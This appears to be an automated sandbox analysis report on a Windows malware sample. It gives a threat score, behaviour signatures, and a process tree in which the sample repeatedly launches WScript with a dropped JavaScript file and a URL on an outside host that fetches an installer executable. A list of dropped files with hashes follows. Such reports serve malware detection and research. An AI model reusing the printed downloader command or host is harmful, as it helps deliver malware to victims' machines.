Analysis

  • max time kernel
    121s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    11/06/2024, 04:45

General

  • Target
    9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
  • Size 184KB
  • Sample240611-fdqdkavhlm
  • SHA256 60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
      2⤵
      • Blocklisted process makes network request
      PID:1700
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2580
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2740
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2000
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
      2⤵
      • Blocklisted process makes network request
      PID:2092
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 556
      2⤵
      • Program crash
      PID:1484

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
        • Size 1KB
        • SHA256 bca86280bbd294f04935238e52545a2e9f6f1b22c66695b4f0f937857476e9a8
        • MD5 SHA1 SHA512

        CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
        • Size 724B
        • SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
        • MD5 SHA1 SHA512

        24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
        • Size 410B
        • SHA256 fb5d2e21e58711e3397f66d7ba1a54e85785176a5d7496827e18cde5ee0fa297
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 344B
        • SHA256 0adc93cc3123c74a31ccb8beb4817f2c9211429540defd2d107403035b18bfd0
        • MD5 SHA1 SHA512

        CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
        • Size 392B
        • SHA256 499b51512a779635f5f17495011fae2970879395c31223ef0cc4553de77ca93e
        • MD5 SHA1 SHA512

        domain_profile[1].htm

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
        • Size 40KB
        • SHA256 0c791e92516955d33748798234a3bde2e89aafd7d7332bc4b002e68d28ee1e79
        • MD5 SHA1 SHA512 SSDEEP

        domain_profile[1].htm

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
        • Size 6KB
        • SHA256 e72115813298377ab36616a7cbfa996b691a4d704966604ce47017ebd954a436
        • MD5 SHA1 SHA512 SSDEEP

        domain_profile[1].htm

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
        • Size 6KB
        • SHA256 0f0872262930f542ec7bc30f72ff445d2b4746cf09559dbea45f5d0d0e9313b8
        • MD5 SHA1 SHA512 SSDEEP

        domain_profile[1].htm

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
        • Size 6KB
        • SHA256 73b4bbbb8724207a4298fede2ece8df65a3581e3cd27b3220d3a15663bbce86c
        • MD5 SHA1 SHA512 SSDEEP

        Cab40C8.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Cab40C8.tmp
        • Size 65KB
        • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
        • MD5 SHA1 SHA512 SSDEEP

        Tar5909.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Tar5909.tmp
        • Size 171KB
        • SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
        • MD5 SHA1 SHA512 SSDEEP

        fuf114F.js

        • Path C:\Users\Admin\AppData\Local\Temp\fuf114F.js
        • Size 3KB
        • SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
        • MD5 SHA1 SHA512

        NI3ZJXGP.txt

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\NI3ZJXGP.txt
        • Size 177B
        • SHA256 31b02e14b8accdfdeeeb386b7ce02c875343d32051f3a530b242888c9697e666
        • MD5 SHA1 SHA512